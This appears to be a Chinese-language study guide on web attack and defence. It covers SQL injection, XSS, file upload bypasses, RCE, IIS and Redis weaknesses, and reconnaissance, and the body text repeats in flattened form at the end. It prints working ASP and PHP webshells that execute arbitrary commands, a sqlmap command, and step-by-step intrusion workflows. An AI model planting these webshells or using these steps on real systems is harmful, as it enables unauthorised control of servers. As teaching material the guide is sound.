一些常见问题的总结
字数 3949 2025-08-10 16:34:22

SQL注入与Web安全攻防技术详解

1. SQL注入基础

1.1 SQL注入原理

SQL注入是一种Web安全漏洞,当Web应用向后台数据库传递SQL语句时,如果未对用户输入的参数进行严格过滤处理,攻击者可以构造特殊SQL语句直接输入数据库执行,从而获取或修改数据库中的数据。

1.2 SQL注入测试步骤

  1. 寻找注入点:判断是否存在可注入的漏洞点
  2. 判断注入类型
    • 数字型注入:and 1=1and 1=2测试
    • 字符型注入:判断闭合符号(单引号、双引号等)
  3. 注入技术选择(按优先级):
    • 联合查询注入
    • 报错查询
    • 布尔型查询
    • 时间盲注
    • 宽字节注入
  4. 判断列数:使用order by语句
  5. 确定显错位union select 1,2,3,...
  6. 数据获取:获取数据库、表、字段和数据
  7. 后续操作
    • 扫描后台目录(如使用御剑工具)
    • 上传一句话木马
    • 使用菜刀、蚁剑等工具连接

2. 报错注入技术

2.1 常见报错注入函数

  • Extractvalue
  • Updatexml
  • Floor

2.2 报错注入原理

在SQL语句中人为制造XPATH语法错误,使查询结果出现在报错信息中。报错信息直接来自数据库报错。

3. SQL注入工具使用

3.1 SQLMap高级用法

POST注入方法

  1. 抓取POST数据包保存为文件
  2. 执行:sqlmap.py -r 文件路径

指定注入类型
使用--technique参数后接技术类型大写字母:

  • B:布尔盲注
  • E:报错注入
  • U:联合查询
  • S:堆叠查询
  • T:时间盲注
  • Q:内联查询

示例:

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB --banner

3.2 SQLMap获取OS Shell的条件与原理

使用条件

  1. 网站必须是root权限
  2. 知道网站绝对路径
  3. GPC为off(PHP主动转义功能关闭)

工作原理

  1. 通过注入获取服务器访问权限
  2. 启动交互式命令行shell
  3. 建立TCP连接传输命令
  4. 目标服务器执行后门程序
  5. 返回执行结果到交互式shell

4. 文件操作注入

4.1 文件写入条件

  1. 数据库允许导入导出
  2. 当前用户有文件操作权限
  3. 知道文件绝对路径

4.2 文件操作函数

写文件函数

  • into outfile:可写入多行,按格式输出
  • into dumpfile:只能写入一行,无输出格式

读文件函数

  • load_file()

5. SQL注入防御

5.1 JavaScript的局限性

无法完全防御SQL注入,因为:

  • SQL注入是服务器端攻击
  • JS运行在客户端

但JS可增强安全性:

  • 输入验证
  • 转义输出
  • 加密传输

5.2 有效防御措施

  1. 输入验证和过滤
  2. 参数用引号包裹
  3. 最小权限原则
  4. 使用Web防火墙
  5. 定期更新软件

6. XSS攻击技术

6.1 XSS原理

跨站脚本攻击(XSS)是指攻击者在Web页面中写入恶意脚本,当用户浏览页面时控制用户浏览器的攻击方式。

6.2 XSS测试步骤

  1. 收集目标信息(URL、页面结构、输入字段)
  2. 简单脚本测试(如弹窗)
  3. 尝试不同类型XSS:
    • 反射型(在URL中)
    • 存储型(与数据库交互处)
    • DOM型(未转义的搜索框)
  4. 使用XSS工具扫描
  5. 实施Cookie劫持

6.3 反射型XSS利用价值

  1. Cookie劫持
  2. 恶意重定向到指定页面

6.4 XSS防御措施

  1. 过滤用户输入和URL参数
  2. HTML编码输出
  3. 过滤危险函数:
    • alert()
    • prompt()
    • confirm()

7. 文件上传漏洞

7.1 文件上传漏洞利用

目的

  • 上传木马
  • 通过HTTP协议传输恶意文件

获取Shell原理
上传的恶意文件连接成功后执行恶意代码,使攻击者获得系统控制权。

7.2 文件上传测试步骤

  1. 识别上传点
  2. 绕过文件类型限制
  3. 上传恶意文件
  4. 执行恶意代码
  5. 控制系统

7.3 常见绕过方式

Windows/Linux通用

  1. 改变扩展名
  2. 双扩展名
  3. 添加空格
  4. 编码绕过
  5. 绕过Content-Type检查
  6. Null字节(\x00

8. 解析漏洞

8.1 解析漏洞定义

攻击者构造恶意输入,利用应用程序解析时的意外行为执行未授权操作或获取敏感信息。

8.2 常见解析漏洞类型

  1. 命令注入
  2. SQL注入
  3. XSS
  4. XXE
  5. RCE

8.3 文件解析漏洞

常见类型

  1. 图片解析漏洞
  2. PDF解析漏洞
  3. 压缩文件解析漏洞
  4. 日志文件解析漏洞

9. 密码爆破技术

9.1 Base64加密密码爆破方法

  1. 构造字典
  2. 抓取登录数据包
  3. 使用Burp Suite:
    • 加载字典
    • 高亮密码内容
    • 字典加密方式选Base64
  4. 开始爆破

10. 逻辑漏洞

10.1 常见逻辑漏洞类型

  1. 权限绕过
  2. 密码找回漏洞
  3. 验证码相关漏洞:
    • 自动识别
    • 客户端回显
    • 绕过
    • 暴力破解
    • 重复使用
  4. 支付逻辑漏洞
  5. 未验证登录凭证

11. 命令执行(RCE)测试

11.1 RCE测试步骤

  1. 信息收集(URL、参数、功能)
  2. 寻找输入点:
    • Web表单
    • URL参数
    • HTTP头
    • Cookie
  3. 输入恶意命令测试
  4. 检查回显结果
  5. 验证权限
  6. 记录结果

12. 常见服务端口

端口 服务
21 FTP
22 SSH
53 DNS
3389 RDP
3306 MySQL
1433 MSSQL
1521 Oracle
6379 Redis
11211 Memcached

13. Redis安全

13.1 Redis(6379)攻击手法

  1. 未授权访问
  2. 信息泄露
  3. 远程代码执行
  4. 拒绝服务

13.2 Redis防御措施

  1. 限制信任主机访问
  2. 设置强密码
  3. 使用防火墙
  4. 合理配置参数
  5. 定期更新
  6. 日志审计

14. 文件包含漏洞

14.1 关键函数

  1. include()
  2. require()
  3. include_once()
  4. require_once()

14.2 测试步骤

  1. 构造符合类型的恶意文件
  2. 上传到网站根目录
  3. 通过恶意文件实施攻击

15. HTTP协议基础

15.1 状态码分类

  • 1xx:信息性状态码
  • 2xx:成功状态码
  • 3xx:重定向状态码
  • 4xx:客户端错误
  • 5xx:服务器错误

15.2 常见请求头

  • Host
  • User-Agent
  • Accept
  • Accept-Language
  • Accept-Encoding
  • Connection
  • Referer
  • Content-Type
  • Content-Length
  • Authorization

16. HTTPS与TCP协议

16.1 HTTPS认证原理

  1. 客户端发起HTTPS请求
  2. 服务器发送证书和公钥
  3. 客户端验证证书
  4. 客户端生成对称密钥并用公钥加密
  5. 服务器用私钥解密获取对称密钥
  6. 使用对称密钥加密通信

16.2 TCP三次握手

  1. 客户端发送SYN
  2. 服务器回复SYN-ACK
  3. 客户端发送ACK

16.3 TCP四次挥手

  1. 客户端发送FIN
  2. 服务器回复ACK
  3. 服务器发送FIN
  4. 客户端回复ACK并等待2MSL

17. 特殊场景突破

17.1 限制上传PHP站点的突破方法

  1. 文件包含漏洞+图片马
    • 在JPG中嵌入PHP代码
    • 通过文件包含执行
  2. 任意文件读取漏洞
    • 读取敏感文件
    • 寻找其他攻击途径

18. IIS漏洞

18.1 常见IIS漏洞

  1. 远程代码执行(URL长度无限制)
  2. 文件上传(开启WebDAV和写入权限)
  3. 短文件名猜解
  4. 解析漏洞:
    • a.asp目录下所有文件按ASP解析
    • test.asp;.jpg按ASP解析

19. 信息收集方法

19.1 被动收集

利用第三方服务获取目标信息

19.2 主动收集

  1. FOFA扫描子域名
  2. Whois查询
  3. 真实IP查询
  4. WebScan查找旁站和C段
  5. 御剑、Dirsearch扫描目录
  6. Nmap/Zenmap扫描端口
  7. AWVS/Nessus扫描漏洞
  8. 插件识别网站框架

20. CSRF与SSRF区别

20.1 CSRF(跨站请求伪造)

  • 成因:服务器未校验随机值和Referer字段
  • 利用:伪造用户请求
  • 影响:利用用户Cookie执行操作

20.2 SSRF(服务器端请求伪造)

  • 成因:服务器过度信任用户提供的URL
  • 利用:攻击内网或其他服务器
  • 影响:作为攻击跳板

21. Burp Suite爆破模式

  1. Sniper:逐个尝试密码组合
  2. Battering Ram:固定长度密码
  3. Pitchfork:多字典多线程爆破
  4. Cluster Bomb:组合不同字典内容

22. 任意文件下载利用

22.1 漏洞成因

应用程序未充分验证用户输入,导致可下载未授权文件。

22.2 利用思路

  1. 下载配置文件:
    • SSH
    • WebLogic
    • FTP
    • MySQL
  2. 下载日志文件寻找后台地址
  3. 下载业务文件进行白盒审计

23. 一句话木马示例

23.1 ASP木马

<%
Dim cmd
cmd = Request("cmd")
If cmd <> "" Then
    Dim oShell
    Set oShell = CreateObject("WScript.Shell")
    Dim oExec
    Set oExec = oShell.Exec(cmd)
    Response.Write(oExec.StdOut.ReadAll())
    Set oExec = Nothing
    Set oShell = Nothing
End If
%>

23.2 PHP木马

<?php
$cmd = $_REQUEST['cmd'];
if ($cmd) {
    echo shell_exec($cmd);
}
?>

24. WebShell管理工具

24.1 工具及特征

菜刀

  • 默认Base64加密
  • 必须使用evalassert
  • 特征参数z0

蚁剑

  • 特征:@ini_set("display_errors","0");
  • 参数名类似_0x.....=

冰蝎

  • Content-Type: application/...
  • 16个内置User-Agent
  • 文件上传/命令执行参数不定长
  • 基本信息payload定长

25. XXE漏洞原理

应用程序未充分验证用户输入的XML文件,攻击者构造恶意XML实体,利用解析器特性执行敏感操作(如数据读取)。

SQL注入与Web安全攻防技术详解 1. SQL注入基础 1.1 SQL注入原理 SQL注入是一种Web安全漏洞,当Web应用向后台数据库传递SQL语句时,如果未对用户输入的参数进行严格过滤处理,攻击者可以构造特殊SQL语句直接输入数据库执行,从而获取或修改数据库中的数据。 1.2 SQL注入测试步骤 寻找注入点 :判断是否存在可注入的漏洞点 判断注入类型 : 数字型注入: and 1=1 和 and 1=2 测试 字符型注入:判断闭合符号(单引号、双引号等) 注入技术选择 (按优先级): 联合查询注入 报错查询 布尔型查询 时间盲注 宽字节注入 判断列数 :使用 order by 语句 确定显错位 : union select 1,2,3,... 数据获取 :获取数据库、表、字段和数据 后续操作 : 扫描后台目录(如使用御剑工具) 上传一句话木马 使用菜刀、蚁剑等工具连接 2. 报错注入技术 2.1 常见报错注入函数 Extractvalue Updatexml Floor 2.2 报错注入原理 在SQL语句中人为制造XPATH语法错误,使查询结果出现在报错信息中。报错信息直接来自数据库报错。 3. SQL注入工具使用 3.1 SQLMap高级用法 POST注入方法 : 抓取POST数据包保存为文件 执行: sqlmap.py -r 文件路径 指定注入类型 : 使用 --technique 参数后接技术类型大写字母: B:布尔盲注 E:报错注入 U:联合查询 S:堆叠查询 T:时间盲注 Q:内联查询 示例: 3.2 SQLMap获取OS Shell的条件与原理 使用条件 : 网站必须是root权限 知道网站绝对路径 GPC为off(PHP主动转义功能关闭) 工作原理 : 通过注入获取服务器访问权限 启动交互式命令行shell 建立TCP连接传输命令 目标服务器执行后门程序 返回执行结果到交互式shell 4. 文件操作注入 4.1 文件写入条件 数据库允许导入导出 当前用户有文件操作权限 知道文件绝对路径 4.2 文件操作函数 写文件函数 : into outfile :可写入多行,按格式输出 into dumpfile :只能写入一行,无输出格式 读文件函数 : load_file() 5. SQL注入防御 5.1 JavaScript的局限性 无法完全防御SQL注入,因为: SQL注入是服务器端攻击 JS运行在客户端 但JS可增强安全性: 输入验证 转义输出 加密传输 5.2 有效防御措施 输入验证和过滤 参数用引号包裹 最小权限原则 使用Web防火墙 定期更新软件 6. XSS攻击技术 6.1 XSS原理 跨站脚本攻击(XSS)是指攻击者在Web页面中写入恶意脚本,当用户浏览页面时控制用户浏览器的攻击方式。 6.2 XSS测试步骤 收集目标信息(URL、页面结构、输入字段) 简单脚本测试(如弹窗) 尝试不同类型XSS: 反射型(在URL中) 存储型(与数据库交互处) DOM型(未转义的搜索框) 使用XSS工具扫描 实施Cookie劫持 6.3 反射型XSS利用价值 Cookie劫持 恶意重定向到指定页面 6.4 XSS防御措施 过滤用户输入和URL参数 HTML编码输出 过滤危险函数: alert() prompt() confirm() 7. 文件上传漏洞 7.1 文件上传漏洞利用 目的 : 上传木马 通过HTTP协议传输恶意文件 获取Shell原理 : 上传的恶意文件连接成功后执行恶意代码,使攻击者获得系统控制权。 7.2 文件上传测试步骤 识别上传点 绕过文件类型限制 上传恶意文件 执行恶意代码 控制系统 7.3 常见绕过方式 Windows/Linux通用 : 改变扩展名 双扩展名 添加空格 编码绕过 绕过Content-Type检查 Null字节( \x00 ) 8. 解析漏洞 8.1 解析漏洞定义 攻击者构造恶意输入,利用应用程序解析时的意外行为执行未授权操作或获取敏感信息。 8.2 常见解析漏洞类型 命令注入 SQL注入 XSS XXE RCE 8.3 文件解析漏洞 常见类型 : 图片解析漏洞 PDF解析漏洞 压缩文件解析漏洞 日志文件解析漏洞 9. 密码爆破技术 9.1 Base64加密密码爆破方法 构造字典 抓取登录数据包 使用Burp Suite: 加载字典 高亮密码内容 字典加密方式选Base64 开始爆破 10. 逻辑漏洞 10.1 常见逻辑漏洞类型 权限绕过 密码找回漏洞 验证码相关漏洞: 自动识别 客户端回显 绕过 暴力破解 重复使用 支付逻辑漏洞 未验证登录凭证 11. 命令执行(RCE)测试 11.1 RCE测试步骤 信息收集(URL、参数、功能) 寻找输入点: Web表单 URL参数 HTTP头 Cookie 输入恶意命令测试 检查回显结果 验证权限 记录结果 12. 常见服务端口 | 端口 | 服务 | |-------|------------| | 21 | FTP | | 22 | SSH | | 53 | DNS | | 3389 | RDP | | 3306 | MySQL | | 1433 | MSSQL | | 1521 | Oracle | | 6379 | Redis | | 11211 | Memcached | 13. Redis安全 13.1 Redis(6379)攻击手法 未授权访问 信息泄露 远程代码执行 拒绝服务 13.2 Redis防御措施 限制信任主机访问 设置强密码 使用防火墙 合理配置参数 定期更新 日志审计 14. 文件包含漏洞 14.1 关键函数 include() require() include_once() require_once() 14.2 测试步骤 构造符合类型的恶意文件 上传到网站根目录 通过恶意文件实施攻击 15. HTTP协议基础 15.1 状态码分类 1xx:信息性状态码 2xx:成功状态码 3xx:重定向状态码 4xx:客户端错误 5xx:服务器错误 15.2 常见请求头 Host User-Agent Accept Accept-Language Accept-Encoding Connection Referer Content-Type Content-Length Authorization 16. HTTPS与TCP协议 16.1 HTTPS认证原理 客户端发起HTTPS请求 服务器发送证书和公钥 客户端验证证书 客户端生成对称密钥并用公钥加密 服务器用私钥解密获取对称密钥 使用对称密钥加密通信 16.2 TCP三次握手 客户端发送SYN 服务器回复SYN-ACK 客户端发送ACK 16.3 TCP四次挥手 客户端发送FIN 服务器回复ACK 服务器发送FIN 客户端回复ACK并等待2MSL 17. 特殊场景突破 17.1 限制上传PHP站点的突破方法 文件包含漏洞+图片马 在JPG中嵌入PHP代码 通过文件包含执行 任意文件读取漏洞 读取敏感文件 寻找其他攻击途径 18. IIS漏洞 18.1 常见IIS漏洞 远程代码执行(URL长度无限制) 文件上传(开启WebDAV和写入权限) 短文件名猜解 解析漏洞: a.asp 目录下所有文件按ASP解析 test.asp;.jpg 按ASP解析 19. 信息收集方法 19.1 被动收集 利用第三方服务获取目标信息 19.2 主动收集 FOFA扫描子域名 Whois查询 真实IP查询 WebScan查找旁站和C段 御剑、Dirsearch扫描目录 Nmap/Zenmap扫描端口 AWVS/Nessus扫描漏洞 插件识别网站框架 20. CSRF与SSRF区别 20.1 CSRF(跨站请求伪造) 成因:服务器未校验随机值和Referer字段 利用:伪造用户请求 影响:利用用户Cookie执行操作 20.2 SSRF(服务器端请求伪造) 成因:服务器过度信任用户提供的URL 利用:攻击内网或其他服务器 影响:作为攻击跳板 21. Burp Suite爆破模式 Sniper :逐个尝试密码组合 Battering Ram :固定长度密码 Pitchfork :多字典多线程爆破 Cluster Bomb :组合不同字典内容 22. 任意文件下载利用 22.1 漏洞成因 应用程序未充分验证用户输入,导致可下载未授权文件。 22.2 利用思路 下载配置文件: SSH WebLogic FTP MySQL 下载日志文件寻找后台地址 下载业务文件进行白盒审计 23. 一句话木马示例 23.1 ASP木马 23.2 PHP木马 24. WebShell管理工具 24.1 工具及特征 菜刀 : 默认Base64加密 必须使用 eval 或 assert 特征参数 z0 蚁剑 : 特征: @ini_set("display_errors","0"); 参数名类似 _0x.....= 冰蝎 : Content-Type: application/... 16个内置User-Agent 文件上传/命令执行参数不定长 基本信息payload定长 25. XXE漏洞原理 应用程序未充分验证用户输入的XML文件,攻击者构造恶意XML实体,利用解析器特性执行敏感操作(如数据读取)。